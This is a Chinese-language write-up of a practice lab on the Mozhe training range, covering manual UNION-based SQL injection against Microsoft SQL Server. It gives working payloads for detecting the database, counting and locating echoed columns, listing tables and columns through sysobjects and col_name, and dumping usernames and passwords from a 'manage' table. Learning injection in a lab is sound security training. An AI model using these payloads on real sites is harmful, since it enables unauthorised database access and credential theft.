MMSQL即sql-server,解法上跟mysql大体相似,语法不同,今天在墨者靶场练了下,新手问题还是蛮多的,在此总结和大家一起探讨提升。
就是这个了,Let’s go!
one 判断是否为MMSQL注入:
and exists(select * from sysobjects)
or
and exists(select count(*) from sysobjects)
页面显示正常,更改id值为假时页面异常,则判断为MMSQL注入。
TWO 猜解字段长度
跟mysql一样是order by
慢慢试,发现值为5时异常,则判断字段数有4个。
Three 猜解回显的字段
mysql用的是1,2,3……,而MMSQL用的则是null,null,null……(null表示无论是数字形式还是字符形式)
通过将null改为数字或者字符(字符就是要带引号)来确定回显字段(当然也可以跳过上一步的null直接试,注意引号千万不要打错成中文的!!)
Four 获取数据库名db_name()
db_name():返回当前数据库库名 。
Five 获取数据库表名
?id=-2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'u'),'3',null
dbo是每个数据库的默认用户,具有所有者权限,可省略(但是…不能省)
MMSQL没有limit,读取条数用top关键字
name就是表名信息,xtype是代表表的类型(值为u的时候进行搜索,只能是u/U,如果是其他的值并不能搜索出现)
Six 获取列名
id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',null
(col_name是系统函数,用法col_name(obj_id,col_id)),依次改变col_id的值得到想要的表。
Seven 获取数据
id=-2 union all select null,(select top 1 username from manage),(select top 1 password from manage),null
select top 1 username from manage查询manage表中的用户名username
select top 1 password from manage查询manage表中的密码password
最后将得到的密码解密出来就行啦~~